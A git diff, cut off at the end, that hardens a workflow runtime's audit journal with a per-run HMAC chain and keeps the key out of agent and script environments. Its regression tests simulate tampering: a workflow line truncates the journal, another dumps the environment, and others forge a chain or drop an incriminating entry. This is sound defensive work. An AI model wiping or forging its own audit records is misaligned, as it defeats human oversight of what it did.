runWorkflowRaw( // DOCKER_SANDBOX_ENV and skips here — the outer host process exports that run // exactly once. Best-effort; never affects the exit status below. if (shouldExportRawTelemetry(process.env)) { + // Standalone `jaiph run --raw` owns its journal, so it persists the chain + // key. The inner raw run of a Docker orchestration skips here — the outer + // host process persists the key beside the discovered run dir instead. + const rawRunDir = readRunDirFromMeta(metaFile); + if (rawRunDir) writeChainKey(rawRunDir, chainKey); await exportRunTelemetry({ - runDir: readRunDirFromMeta(metaFile), + runDir: rawRunDir, workflow: workflowSymbol, exitStatus: childExit.status, signal: childExit.signal, @@ -581,6 +598,7 @@ async function reportResult( metaFile: string, sandboxRunDir?: string, expectedRunId?: string, + chainKey?: string, ): Promise { const elapsedMs = Date.now() - startedAt; const elapsedLabel = formatElapsedDuration(elapsedMs); @@ -594,6 +612,9 @@ async function reportResult( runDir = discovered.runDir; summaryFile = discovered.summaryFile; } + // Persist the audit-chain key beside the (now terminal) journal so every + // read/export boundary — including this export call — can verify integrity. + if (runDir && chainKey) writeChainKey(runDir, chainKey); // Export a trace to an OTLP collector when configured (standard OTEL env). // Best-effort: never affects the exit code, output, or journal below. await exportRunTelemetry({ runDir, workflow: "default", exitStatus, signal, env: process.env }); diff --git a/src/cli/exec/call.ts b/src/cli/exec/call.ts index 4a362de1..edda739a 100644 --- a/src/cli/exec/call.ts +++ b/src/cli/exec/call.ts @@ -24,6 +24,7 @@ import { discoverDockerRunDir } from "../shared/errors"; import { readMetaFields, readReturnValue } from "../shared/run-meta"; import { deliverRunTelemetryDetached } from "../telemetry/otlp"; import { redactCredentials } from "../../runtime/kernel/redact"; +import { CHAIN_KEY_ENV, generateChainKey, writeChainKey } from "../../runtime/kernel/emit"; /** * Result of executing one workflow call. `text` is the same content an MCP @@ -195,6 +196,11 @@ export async function callWorkflow( runtimeEnv.JAIPH_SOURCE_ABS = env.inputAbs; runtimeEnv.JAIPH_RUN_ID = runId; runtimeEnv.JAIPH_SCRIPTS = env.scriptsDir; + // Per-run audit-chain key (finding H-3): forwarded to the trusted runner, + // scrubbed from script/agent subprocess envs, and persisted beside the + // journal below so read/export boundaries can verify integrity. + const chainKey = generateChainKey(); + runtimeEnv[CHAIN_KEY_ENV] = chainKey; // Same env normalization as `jaiph run --inplace/--unsafe/--yes`: the child // observes identical JAIPH_* posture vars in every invocation mode. Never // throws here — a flag/env conflict already failed server startup. @@ -233,6 +239,7 @@ export async function callWorkflow( // before best-effort delivery, so an unreachable backend can never delay a // terminal result or hold a slot. Delivery failures are tracked as bounded // metrics; never changes the call result. + if (result.runDir) writeChainKey(result.runDir, chainKey); deliverRunTelemetryDetached({ runDir: result.runDir, workflow: workflowSymbol, diff --git a/src/cli/serve/handler.ts b/src/cli/serve/handler.ts index 058118c9..f3f63973 100644 --- a/src/cli/serve/handler.ts +++ b/src/cli/serve/handler.ts @@ -16,6 +16,7 @@ import { type StreamTarget, } from "./runfiles"; import { hashArgs } from "./run-store"; +import { verifyRunJournal } from "../../runtime/kernel/emit"; import { createAuthenticator, openPrincipal, type Authenticator, type Capability, type Principal } from "./auth"; import { safeJsonObject, isJsonContentType, clampInt } from "./http-util"; import type { RunStatus, RunRecord, ServeRequest, ServeResponse, ServeHandlerOptions } from "./types"; @@ -636,6 +637,14 @@ export class ServeHandler { const resolveRunDir = (): string | null => this.runDirFor(record); if (!wantsSse) { const dir = resolveRunDir(); + // Hard-fail on a tampered journal (finding H-3): never serve the raw + // ndjson snapshot of a run whose keyed chain does not verify. + if (dir) { + const integrity = verifyRunJournal(dir); + if (integrity.verified && !integrity.ok) { + return this.error(409, "E_TAMPERED", `run journal failed integrity verification: ${integrity.error}`); + } + } const file = dir ? join(dir, RUN_SUMMARY) : null; let size = 0; if (file) { diff --git a/src/cli/serve/run-store.test.ts b/src/cli/serve/run-store.test.ts index 2e056e53..3d3b78c7 100644 --- a/src/cli/serve/run-store.test.ts +++ b/src/cli/serve/run-store.test.ts @@ -7,11 +7,13 @@ import type { RunRecord } from "./handler"; import { INTERRUPTED_RESULT_TEXT, PUBLIC_RUN_FILE, + TAMPERED_RESULT_TEXT, hashArgs, loadPersistedRuns, persistRunRecord, } from "./run-store"; import { RUN_SUMMARY } from "./runfiles"; +import { writeChainKey } from "../../runtime/kernel/emit"; const NOW = "2026-07-27T12:00:00.000Z"; @@ -130,6 +132,40 @@ test("loadPersistedRuns returns records oldest-first and skips dirs without a jo } }); +// Finding H-3: run listing must not silently trust a broken/forged journal. +test("a run with a persisted key whose journal fails keyed verification is surfaced as failed", () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-runstore-")); + try { + const dir = makeRunDir(root, "2026-07-27/12-00-00-tools"); + // Journal carries no valid keyed chain (the pre-fix / tampered shape). + writeJournal(dir, "run-t", "build", true); + persistRunRecord(terminalRecord("run-t", dir)); // run.json says "succeeded" + // The host persisted a key for this run, so the listing boundary can verify. + writeChainKey(dir, "k".repeat(64)); + + const [rec] = loadPersistedRuns(root, NOW); + assert.equal(rec.status, "failed", "a run that fails integrity verification is not served as succeeded"); + assert.equal(rec.result_text, TAMPERED_RESULT_TEXT); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); + +test("the same journal loads unchanged when no key was persisted (cannot verify → do not block)", () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-runstore-")); + try { + const dir = makeRunDir(root, "2026-07-27/12-05-00-tools"); + writeJournal(dir, "run-u", "build", true); + persistRunRecord(terminalRecord("run-u", dir)); + // No writeChainKey → unverifiable legacy run stays as recorded. + const [rec] = loadPersistedRuns(root, NOW); + assert.equal(rec.status, "succeeded"); + assert.equal(rec.result_text, "built"); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); + test("an absent runs root yields an empty registry, and persist is a no-op without a run dir", () => { assert.deepEqual(loadPersistedRuns(join(tmpdir(), "does-not-exist-jaiph"), NOW), []); // No throw when the record has no run_dir. diff --git a/src/cli/serve/run-store.ts b/src/cli/serve/run-store.ts index 6338a926..15439bf9 100644 --- a/src/cli/serve/run-store.ts +++ b/src/cli/serve/run-store.ts @@ -3,6 +3,11 @@ import { readFileSync, readdirSync, renameSync, statSync, writeFileSync } from " import { join } from "node:path"; import type { RunRecord, RunStatus } from "./handler"; import { RUN_SUMMARY } from "./runfiles"; +import { verifyRunJournal } from "../../runtime/kernel/emit"; + +/** Result text stamped on a run whose journal chain failed integrity verification. */ +export const TAMPERED_RESULT_TEXT = + "run journal failed integrity verification: the audit chain is broken, truncated, or forged"; /** * The public run record persisted beside a run's journal, so `jaiph serve` can @@ -103,7 +108,16 @@ export function loadPersistedRuns(runsRoot: string, nowIso: string): RunRecord[] const records: Array<{ dir: string; record: RunRecord }> = []; for (const runDir of scanRunDirs(runsRoot)) { const record = reloadRun(runDir) ?? reconcileRun(runDir, nowIso); - if (record) records.push({ dir: runDir, record }); + if (!record) continue; + // Hard-fail a tampered journal (finding H-3): a run whose keyed chain does + // not verify is surfaced as failed with an explicit tamper message rather + // than silently trusted. Unverifiable (unkeyed/legacy) runs are unchanged. + const integrity = verifyRunJournal(runDir); + if (integrity.verified && !integrity.ok) { + record.status = "failed"; + record.result_text = TAMPERED_RESULT_TEXT; + } + records.push({ dir: runDir, record }); } // Oldest-first: the run dir name is a sortable UTC date/time, so the scan // order already reflects chronology once reversed back to ascending. diff --git a/src/cli/serve/server.test.ts b/src/cli/serve/server.test.ts index 5125f24f..a0069196 100644 --- a/src/cli/serve/server.test.ts +++ b/src/cli/serve/server.test.ts @@ -9,6 +9,7 @@ import { tmpdir } from "node:os"; import { join } from "node:path"; import { createHttpServer, listen, readBody } from "./server"; import { ServeHandler } from "./handler"; +import { CHAIN_GENESIS, chainHmac, writeChainKey } from "../../runtime/kernel/emit"; import type { McpToolSpec } from "../mcp/tools"; import type { WorkflowCallResult } from "../exec/call"; @@ -131,6 +132,42 @@ async function serveArtifact(payloadPath: string, payload: Buffer | null): Promi return { server, port, runId, runDir }; } +// Finding H-3: the events endpoint must not stream a run whose keyed journal +// chain fails verification. +test("GET /v1/runs/{id}/events hard-fails (409) on a tampered journal, streams a clean one", async () => { + const runDir = mkdtempSync(join(tmpdir(), "jaiph-srv-events-")); + try { + // A journal with no valid keyed chain, plus a persisted key → verifiable. + writeFileSync(join(runDir, "run_summary.jsonl"), '{"type":"WORKFLOW_START","prev_hash":"deadbeef"}\n'); + writeChainKey(runDir, "k".repeat(64)); + const handler = makeHandler(async () => ({ text: "ok", isError: false, exitStatus: 0, runDir })); + const server = createHttpServer(handler, () => {}); + const port = await listen(server, "127.0.0.1", 0); + try { + const create = await fetch(`http://127.0.0.1:${port}/v1/workflows/ping/runs?wait=true`, { method: "POST" }); + const runId = ((await create.json()) as { run_id: string }).run_id; + + const tampered = await fetch(`http://127.0.0.1:${port}/v1/runs/${runId}/events`); + assert.equal(tampered.status, 409, "a tampered journal is rejected, not served"); + assert.equal(((await tampered.json()) as { error: { code: string } }).error.code, "E_TAMPERED"); + + // Replace with a journal that verifies under the same key: keyed genesis + // for the single line's prev_hash. + writeFileSync( + join(runDir, "run_summary.jsonl"), + JSON.stringify({ type: "WORKFLOW_START", prev_hash: chainHmac("k".repeat(64), CHAIN_GENESIS) }) + "\n", + ); + const clean = await fetch(`http://127.0.0.1:${port}/v1/runs/${runId}/events`); + assert.equal(clean.status, 200, "a verifying journal streams normally"); + assert.match(clean.headers.get("content-type") ?? "", /application\/x-ndjson/); + } finally { + await closeServer(server); + } + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + test("an artifact download round-trips byte-identically through a real socket with content-length", async () => { // A deterministic non-trivial payload, bigger than one stream chunk. const payload = Buffer.alloc(1024 * 1024); diff --git a/src/cli/telemetry/otlp.test.ts b/src/cli/telemetry/otlp.test.ts index 30a627eb..4a2670c5 100644 --- a/src/cli/telemetry/otlp.test.ts +++ b/src/cli/telemetry/otlp.test.ts @@ -17,6 +17,7 @@ import { telemetryDeliveryMetrics, type OtlpMeta, } from "./otlp"; +import { writeChainKey } from "../../runtime/kernel/emit"; const RUN_ID = "11111111-2222-3333-4444-555555555555"; @@ -316,6 +317,26 @@ function writeFailedJournal(dir: string): void { writeFileSync(join(dir, "run_summary.jsonl"), lines.map((l) => JSON.stringify(l)).join("\n")); } +// Finding H-3: a tampered journal is never exported — verification runs before +// any POST, so a broken chain returns "failed" without touching the network. +test("exportOtlpTraces: hard-fails without POSTing when the journal chain fails verification", async () => { + const dir = mkdtempSync(join(tmpdir(), "jaiph-otlp-tamper-")); + try { + writeFailedJournal(dir); // no valid keyed chain + writeChainKey(dir, "k".repeat(64)); // key present → verifiable → fails + const warnings: string[] = []; + const outcome = await exportOtlpTraces( + { runDir: dir, workflow: "default", exitStatus: 1, signal: null, env: { OTEL_EXPORTER_OTLP_ENDPOINT: "http://127.0.0.1:1" } }, + 1000, + (m) => warnings.push(m), + ); + assert.equal(outcome, "failed"); + assert.ok(warnings.some((w) => w.includes("integrity verification")), `expected an integrity warning, got: ${warnings.join("")}`); + } finally { + rmSync(dir, { recursive: true, force: true }); + } +}); + test("exportRunTelemetry: OTLP + Sentry run concurrently under one shared flush budget", async () => { const hole = await startBlackHole(); const dir = mkdtempSync(join(tmpdir(), "jaiph-flush-")); diff --git a/src/cli/telemetry/otlp.ts b/src/cli/telemetry/otlp.ts index 9d25aa42..b8226165 100644 --- a/src/cli/telemetry/otlp.ts +++ b/src/cli/telemetry/otlp.ts @@ -18,6 +18,7 @@ import { join } from "node:path"; import { createHash } from "node:crypto"; import { VERSION } from "../../version"; import { postWithTimeout } from "./http"; +import { verifyRunJournal } from "../../runtime/kernel/emit"; import { reportRunFailureToSentry } from "./sentry"; /** Metadata the pure mapper needs beyond the journal lines themselves. */ @@ -460,6 +461,14 @@ export async function exportOtlpTraces( if (!runDir) return "skipped"; const summaryFile = join(runDir, "run_summary.jsonl"); if (!existsSync(summaryFile)) return "skipped"; + // Hard-fail on a tampered journal (finding H-3): never export a run whose + // keyed chain does not verify. Unkeyed/legacy runs (no persisted key) are + // not blocked — they simply cannot be verified. + const integrity = verifyRunJournal(runDir); + if (integrity.verified && !integrity.ok) { + warn(`jaiph: OTLP trace export skipped — run journal failed integrity verification (${integrity.error})\n`); + return "failed"; + } let lines: string[]; try { lines = readFileSync(summaryFile, "utf8").split("\n"); diff --git a/src/cli/telemetry/sentry.test.ts b/src/cli/telemetry/sentry.test.ts index 62ab751d..2204406d 100644 --- a/src/cli/telemetry/sentry.test.ts +++ b/src/cli/telemetry/sentry.test.ts @@ -1,5 +1,8 @@ import test from "node:test"; import assert from "node:assert/strict"; +import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; import { parseSentryDsn, buildSentryEvent, @@ -7,6 +10,7 @@ import { reportRunFailureToSentry, type SentryEventMeta, } from "./sentry"; +import { writeChainKey } from "../../runtime/kernel/emit"; import { VERSION } from "../../version"; const RUN_ID = "11111111-2222-3333-4444-555555555555"; @@ -173,6 +177,28 @@ test("reportRunFailureToSentry: a failed run without SENTRY_DSN sends nothing an assert.equal(out.length, 0); }); +// Finding H-3: a failed run whose journal chain fails verification is never +// reported — the tampered capture must not become a Sentry event. +test("reportRunFailureToSentry: hard-fails and does not send when the journal chain fails verification", async () => { + const dir = mkdtempSync(join(tmpdir(), "jaiph-sentry-tamper-")); + try { + // Journal with no valid keyed chain + a persisted key → verifiable → fails. + writeFileSync(join(dir, "run_summary.jsonl"), '{"type":"WORKFLOW_START","prev_hash":"deadbeef"}\n'); + writeChainKey(dir, "k".repeat(64)); + const warnings: string[] = []; + const outcome = await reportRunFailureToSentry( + { runDir: dir, workflow: "default", exitStatus: 1, signal: null, env: { SENTRY_DSN: "https://key@127.0.0.1:1/1" } }, + 1000, + (m) => warnings.push(m), + ); + assert.equal(outcome, "failed"); + assert.equal(warnings.length, 1); + assert.match(warnings[0], /integrity verification/); + } finally { + rmSync(dir, { recursive: true, force: true }); + } +}); + test("reportRunFailureToSentry: a failed run with a malformed DSN warns exactly once and does not send", async () => { const out = await captureStderr(() => reportRunFailureToSentry({ diff --git a/src/cli/telemetry/sentry.ts b/src/cli/telemetry/sentry.ts index d4aca52e..86672426 100644 --- a/src/cli/telemetry/sentry.ts +++ b/src/cli/telemetry/sentry.ts @@ -21,6 +21,7 @@ import { errText } from "../../errors"; import { basename, join } from "node:path"; import { VERSION } from "../../version"; import { postWithTimeout } from "./http"; +import { verifyRunJournal } from "../../runtime/kernel/emit"; import type { ExportOutcome, ExportRunTelemetryOptions } from "./otlp"; /** Default hard cap on the envelope POST when no flush budget is supplied. */ @@ -203,6 +204,13 @@ export async function reportRunFailureToSentry( if (!runDir) return "skipped"; const summaryFile = join(runDir, "run_summary.jsonl"); if (!existsSync(summaryFile)) return "skipped"; + // Hard-fail on a tampered journal (finding H-3): never report a run whose + // keyed chain does not verify. Unverifiable (unkeyed/legacy) runs pass through. + const integrity = verifyRunJournal(runDir); + if (integrity.verified && !integrity.ok) { + warn(`jaiph: Sentry error report skipped — run journal failed integrity verification (${integrity.error})\n`); + return "failed"; + } let lines: string[]; try { lines = readFileSync(summaryFile, "utf8").split("\n"); diff --git a/src/runtime/kernel/emit.test.ts b/src/runtime/kernel/emit.test.ts index d6594bdb..0fde7e22 100644 --- a/src/runtime/kernel/emit.test.ts +++ b/src/runtime/kernel/emit.test.ts @@ -1,11 +1,23 @@ import assert from "node:assert/strict"; +import { createHash } from "node:crypto"; import { mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { tmpdir } from "node:os"; import { describe, it } from "node:test"; -import { appendRunSummaryLine, formatUtcTimestamp, verifyRunSummaryChain } from "./emit"; +import { + appendRunSummaryLine, + CHAIN_GENESIS, + CHAIN_KEY_ENV, + formatUtcTimestamp, + readChainKey, + verifyRunJournal, + verifyRunSummaryChain, + writeChainKey, +} from "./emit"; import { RuntimeEventEmitter } from "./runtime-event-emitter"; +const TEST_KEY = "a".repeat(64); + describe("emit kernel", () => { it("formatUtcTimestamp matches no-millis Z suffix", () => { const s = formatUtcTimestamp(); @@ -28,7 +40,7 @@ describe("emit kernel", () => { }); }); -describe("run_summary.jsonl hash chain", () => { +describe("run_summary.jsonl keyed hash chain", () => { function makeEmitter(runDir: string, env?: NodeJS.ProcessEnv): RuntimeEventEmitter { return new RuntimeEventEmitter({ runId: "test-chain-run", @@ -40,49 +52,116 @@ describe("run_summary.jsonl hash chain", () => { }); } - it("untampered chain verifies successfully", () => { - const dir = mkdtempSync(join(tmpdir(), "jaiph-chain-ok-")); + /** Run `fn` with a summary file + the chain key both set, restoring env after. */ + function withRun(prefix: string, fn: (dir: string, summary: string) => void): void { + const dir = mkdtempSync(join(tmpdir(), prefix)); const summary = join(dir, "run_summary.jsonl"); - const prev = process.env.JAIPH_RUN_SUMMARY_FILE; + const prevSummary = process.env.JAIPH_RUN_SUMMARY_FILE; + const prevKey = process.env[CHAIN_KEY_ENV]; try { process.env.JAIPH_RUN_SUMMARY_FILE = summary; - const emitter = makeEmitter(dir); - emitter.emitWorkflow("WORKFLOW_START", "default"); - emitter.emitLog("LOG", "hello"); - const result = verifyRunSummaryChain(summary); - assert.equal(result.ok, true, result.error); + process.env[CHAIN_KEY_ENV] = TEST_KEY; + fn(dir, summary); } finally { - if (prev === undefined) delete process.env.JAIPH_RUN_SUMMARY_FILE; - else process.env.JAIPH_RUN_SUMMARY_FILE = prev; + if (prevSummary === undefined) delete process.env.JAIPH_RUN_SUMMARY_FILE; + else process.env.JAIPH_RUN_SUMMARY_FILE = prevSummary; + if (prevKey === undefined) delete process.env[CHAIN_KEY_ENV]; + else process.env[CHAIN_KEY_ENV] = prevKey; rmSync(dir, { recursive: true, force: true }); } + } + + it("untampered chain verifies successfully under the key", () => { + withRun("jaiph-chain-ok-", (_dir, summary) => { + const emitter = makeEmitter(_dir); + emitter.emitWorkflow("WORKFLOW_START", "default"); + emitter.emitLog("LOG", "hello"); + const result = verifyRunSummaryChain(summary, TEST_KEY); + assert.equal(result.ok, true, result.error); + }); }); it("tampered first line breaks the chain", () => { - const dir = mkdtempSync(join(tmpdir(), "jaiph-chain-tamper-")); - const summary = join(dir, "run_summary.jsonl"); - const prev = process.env.JAIPH_RUN_SUMMARY_FILE; - try { - process.env.JAIPH_RUN_SUMMARY_FILE = summary; - const emitter = makeEmitter(dir); + withRun("jaiph-chain-tamper-", (_dir, summary) => { + const emitter = makeEmitter(_dir); emitter.emitWorkflow("WORKFLOW_START", "default"); emitter.emitLog("LOG", "hello"); - const text = readFileSync(summary, "utf8"); - const lines = text.split("\n").filter(Boolean); - // Tamper: change the workflow name on the first line. + const lines = readFileSync(summary, "utf8").split("\n").filter(Boolean); const first = JSON.parse(lines[0]) as Record; first["workflow"] = "tampered"; - const tamperedText = [JSON.stringify(first), ...lines.slice(1)].join("\n") + "\n"; - writeFileSync(summary, tamperedText); + writeFileSync(summary, [JSON.stringify(first), ...lines.slice(1)].join("\n") + "\n"); - const result = verifyRunSummaryChain(summary); + const result = verifyRunSummaryChain(summary, TEST_KEY); assert.equal(result.ok, false); assert.ok(result.error?.includes("line 2"), `expected broken link at line 2, got: ${result.error}`); + }); + }); + + // AC4: a chain recomputed with the *public* SHA-256 algorithm (no key), the + // exact H-3 forgery, is rejected — its very first prev_hash fails to match + // the keyed genesis. This is the pre-fix "internally valid" rewrite. + it("rejects a recomputed-but-forged SHA-256 chain (no key)", () => { + const dir = mkdtempSync(join(tmpdir(), "jaiph-chain-forged-")); + const summary = join(dir, "run_summary.jsonl"); + try { + const sha = (s: string) => createHash("sha256").update(s, "utf8").digest("hex"); + // Attacker's rewrite: omit an incriminating line, chain the rest with the + // public genesis + SHA-256 exactly as the old unkeyed emitter did. + const l0 = JSON.stringify({ type: "WORKFLOW_START", workflow: "clean", prev_hash: CHAIN_GENESIS }); + const l1 = JSON.stringify({ type: "WORKFLOW_END", workflow: "clean", prev_hash: sha(l0) }); + writeFileSync(summary, `${l0}\n${l1}\n`); + + const result = verifyRunSummaryChain(summary, TEST_KEY); + assert.equal(result.ok, false, "a forged unkeyed chain must not verify under the key"); + assert.ok(result.error?.includes("line 1"), `forgery caught at the genesis link, got: ${result.error}`); + } finally { + rmSync(dir, { recursive: true, force: true }); + } + }); + + // A deleted / truncated journal is a verification failure, not a silent pass. + it("rejects a missing journal", () => { + const dir = mkdtempSync(join(tmpdir(), "jaiph-chain-missing-")); + try { + const result = verifyRunSummaryChain(join(dir, "run_summary.jsonl"), TEST_KEY); + assert.equal(result.ok, false); } finally { - if (prev === undefined) delete process.env.JAIPH_RUN_SUMMARY_FILE; - else process.env.JAIPH_RUN_SUMMARY_FILE = prev; rmSync(dir, { recursive: true, force: true }); } }); + + it("verifyRunJournal skips (verified:false) when no key file is present", () => { + withRun("jaiph-chain-nokey-", (dir, summary) => { + const emitter = makeEmitter(dir); + emitter.emitWorkflow("WORKFLOW_START", "default"); + // No writeChainKey → boundaries cannot verify and must not block. + const res = verifyRunJournal(dir); + assert.equal(res.verified, false); + assert.equal(res.ok, true); + assert.equal(readChainKey(dir), null); + assert.ok(summary); + }); + }); + + it("verifyRunJournal hard-fails once the key file is written and an incriminating line is dropped", () => { + withRun("jaiph-chain-boundary-", (dir, summary) => { + const emitter = makeEmitter(dir); + emitter.emitWorkflow("WORKFLOW_START", "default"); + emitter.emitLog("LOGERR", "incriminating failure"); + emitter.emitWorkflow("WORKFLOW_END", "default"); + // Host persists the key after the run (as run.ts / call.ts do at finalize). + writeChainKey(dir, TEST_KEY); + assert.equal(verifyRunJournal(dir).ok, true, "untampered journal verifies once keyed"); + + // Attacker drops the middle (incriminating) line and keeps the rest — the + // classic "omit a line" rewrite. Without the key the surviving tail's + // prev_hash no longer matches the recomputed chain, so it is detected. + const lines = readFileSync(summary, "utf8").split("\n").filter(Boolean); + writeFileSync(summary, [lines[0], lines[2]].join("\n") + "\n"); + const res = verifyRunJournal(dir); + assert.equal(res.verified, true); + assert.equal(res.ok, false, "dropping a middle line breaks the keyed chain"); + }); + }); }); diff --git a/src/runtime/kernel/emit.ts b/src/runtime/kernel/emit.ts index 7e0500ee..135edf4f 100644 --- a/src/runtime/kernel/emit.ts +++ b/src/runtime/kernel/emit.ts @@ -1,30 +1,92 @@ /** * Runtime event emission helpers used by the Node workflow runtime. + * + * The durable `run_summary.jsonl` journal is written by the trusted kernel + * process, but its integrity is protected by a *keyed* HMAC chain: each line's + * `prev_hash` is `chainHmac(key, previousRawLine)`. The per-run key is held by + * the host and the kernel process only — it is scrubbed from every script / + * agent subprocess env (see `scrubTrustedKeys` in node-workflow-runtime.ts and + * `scrubPromptEnv` in env-allowlist.ts). An audited workflow can therefore + * delete or rewrite the journal on disk, but it cannot forge a chain that + * verifies, so every read/export boundary can detect the tamper and hard-fail. + */ +import { appendFileSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; +import { createHmac, randomBytes } from "node:crypto"; +import { dirname, join } from "node:path"; + +/** + * Env var carrying the per-run HMAC chain key into the trusted kernel process. + * Always referenced through this constant (never as a literal `env.JAIPH_*`) + * so it stays an internal key: it must never appear in a script/agent + * subprocess env or in user-facing docs. */ -import { appendFileSync, mkdirSync, readFileSync } from "node:fs"; -import { createHash } from "node:crypto"; -import { dirname } from "node:path"; +export const CHAIN_KEY_ENV = "JAIPH_CHAIN_KEY"; -/** Sentinel prev_hash for the first line in a run_summary.jsonl chain. */ +/** Sentinel seed hashed under the key to produce the first line's prev_hash. */ export const CHAIN_GENESIS = "0".repeat(64); -/** SHA-256 of `data` as a lowercase hex string. */ -export function sha256hex(data: string): string { - return createHash("sha256").update(data, "utf8").digest("hex"); +/** + * Basename of the per-run key file the host writes beside the journal once the + * run is terminal, so later read/export boundaries can verify the chain. The + * dot prefix keeps it out of the serve run-dir scan (`scanRunDirs`). + */ +export const CHAIN_KEY_FILE = ".chain-key"; + +/** Journal basename inside a run directory. */ +const RUN_SUMMARY = "run_summary.jsonl"; + +/** A fresh 256-bit per-run key as lowercase hex. */ +export function generateChainKey(): string { + return randomBytes(32).toString("hex"); +} + +/** Keyed chain digest: HMAC-SHA256(key, data) as lowercase hex. */ +export function chainHmac(key: string, data: string): string { + return createHmac("sha256", key).update(data, "utf8").digest("hex"); +} + +/** + * Persist the per-run key beside the journal (host-side, after the run is + * terminal). Best-effort: a read-only / vanished run dir must never fail a run. + */ +export function writeChainKey(runDir: string, key: string): void { + try { + writeFileSync(join(runDir, CHAIN_KEY_FILE), key, { mode: 0o600 }); + } catch { + // Best-effort persistence; absence just means "cannot verify" downstream. + } +} + +/** Read the per-run key beside the journal, or null when none was written. */ +export function readChainKey(runDir: string): string | null { + try { + const k = readFileSync(join(runDir, CHAIN_KEY_FILE), "utf8").trim(); + return k.length > 0 ? k : null; + } catch { + return null; + } } /** - * Verify the hash chain of a run_summary.jsonl file. + * Verify the keyed hash chain of a run_summary.jsonl file. * - * Each line must carry `prev_hash` equal to the SHA-256 of the previous raw - * JSON line (or CHAIN_GENESIS for the first line). Returns `{ ok: true }` when - * the chain is intact, or `{ ok: false, error }` describing the first broken - * link so a caller can detect truncation or rewrite. + * Each line must carry `prev_hash` equal to `chainHmac(key, previousRawLine)` + * (or `chainHmac(key, CHAIN_GENESIS)` for the first line). Returns + * `{ ok: false, error }` at the first broken link, or when the file is + * unreadable — a deleted/truncated journal is a verification failure, not a + * silent pass. Because the key is unavailable to the audited workflow, a chain + * recomputed under the public SHA-256 algorithm (without the key) does not + * verify: the very first `prev_hash` already fails to match the keyed genesis. */ -export function verifyRunSummaryChain(filePath: string): { ok: boolean; error?: string } { - const text = readFileSync(filePath, "utf8"); +export function verifyRunSummaryChain(filePath: string, key: string): { ok: boolean; error?: string } { + let text: string; + try { + text = readFileSync(filePath, "utf8"); + } catch { + return { ok: false, error: "journal unreadable (missing or truncated)" }; + } const lines = text.split("\n").filter((l) => l.trim().length > 0); - let expected = CHAIN_GENESIS; + let expected = chainHmac(key, CHAIN_GENESIS); for (let i = 0; i < lines.length; i++) { let parsed: Record; try { @@ -38,11 +100,29 @@ export function verifyRunSummaryChain(filePath: string): { ok: boolean; error?: error: `line ${i + 1}: expected prev_hash ${expected}, got ${String(parsed["prev_hash"])}`, }; } - expected = sha256hex(lines[i]); + expected = chainHmac(key, lines[i]); } return { ok: true }; } +/** + * Read/export-boundary guard. Loads the run's persisted key and verifies its + * journal: + * - `{ verified: false, ok: true }` when no key was persisted (the run predates + * keying, or was launched without a host that owns the key) — cannot verify, + * so callers must not block on it. + * - `{ verified: true, ok }` with the chain result otherwise. + * + * Every read/export boundary (run listing, `/v1/runs/{id}/events`, OTLP/Sentry + * export) hard-fails when `verified === true && ok === false`. + */ +export function verifyRunJournal(runDir: string): { verified: boolean; ok: boolean; error?: string } { + const key = readChainKey(runDir); + if (key === null) return { verified: false, ok: true }; + const res = verifyRunSummaryChain(join(runDir, RUN_SUMMARY), key); + return { verified: true, ok: res.ok, error: res.error }; +} + /** UTC timestamp matching `date -u +"%Y-%m-%dT%H:%M:%SZ"` (no milliseconds). */ export function formatUtcTimestamp(): string { const d = new Date(); diff --git a/src/runtime/kernel/env-allowlist.ts b/src/runtime/kernel/env-allowlist.ts index 57204956..7bb76ec8 100644 --- a/src/runtime/kernel/env-allowlist.ts +++ b/src/runtime/kernel/env-allowlist.ts @@ -2,6 +2,7 @@ // the Docker sandbox (`buildDockerArgs` in ../docker.ts) and prompt backend // subprocesses (`runBackend` in ./prompt.ts). Trusted `run` steps keep the // full workflow env; only what crosses to an agent is filtered here. +import { CHAIN_KEY_ENV } from "./emit"; /** Agent backends the runtime can execute prompts against. */ export type AgentBackend = "cursor" | "claude" | "codex"; @@ -132,6 +133,10 @@ export function scrubPromptEnv(execEnv: NodeJS.ProcessEnv, backend: string): Nod const out: NodeJS.ProcessEnv = {}; for (const [key, value] of Object.entries(execEnv)) { if (value === undefined) continue; + // The audit-chain HMAC key is forwarded into the Docker container (the + // in-container kernel needs it) via the JAIPH_ prefix allowlist, but it + // must never reach the agent itself — drop it here regardless (finding H-3). + if (key === CHAIN_KEY_ENV) continue; if (isEnvAllowed(key, backends) || isPromptBaseEnv(key)) { out[key] = value; } diff --git a/src/runtime/kernel/node-workflow-runtime.audit-chain.test.ts b/src/runtime/kernel/node-workflow-runtime.audit-chain.test.ts new file mode 100644 index 00000000..1e7393f0 --- /dev/null +++ b/src/runtime/kernel/node-workflow-runtime.audit-chain.test.ts @@ -0,0 +1,123 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { buildRuntimeGraph } from "./graph"; +import { NodeWorkflowRuntime } from "./node-workflow-runtime"; +import { loadModuleGraph } from "../../transpile/module-graph"; +import { buildScriptsFromGraph } from "../../transpiler"; +import { CHAIN_KEY_ENV, generateChainKey, verifyRunJournal, writeChainKey } from "./emit"; +import { scrubPromptEnv } from "./env-allowlist"; + +// Security regression for finding H-3: the run audit journal is written by the +// trusted kernel under a per-run HMAC key that the audited workflow never sees. +// A script step can neither read the key/journal path from its env, nor forge a +// journal that verifies, nor silently delete the authoritative record. + +const WF = [ + // Dumps the script subprocess environment so the test can assert the key and + // the journal path are absent from it. + "workflow dump_env() {", + " env > env_dump.txt", + "}", + "", + // Attempts to destroy the authoritative journal the way the finding describes. + "workflow tamper() {", + ' : > "$JAIPH_RUN_DIR/run_summary.jsonl"', + "}", + "", +].join("\n"); + +// Keys the runtime (or this test) sets on process.env. Mirroring the production +// child runner — where env === process.env, so `appendRunSummaryLine` (which +// reads process.env) actually writes the journal — means touching process.env; +// snapshot + restore all of them. +const TOUCHED = [ + CHAIN_KEY_ENV, 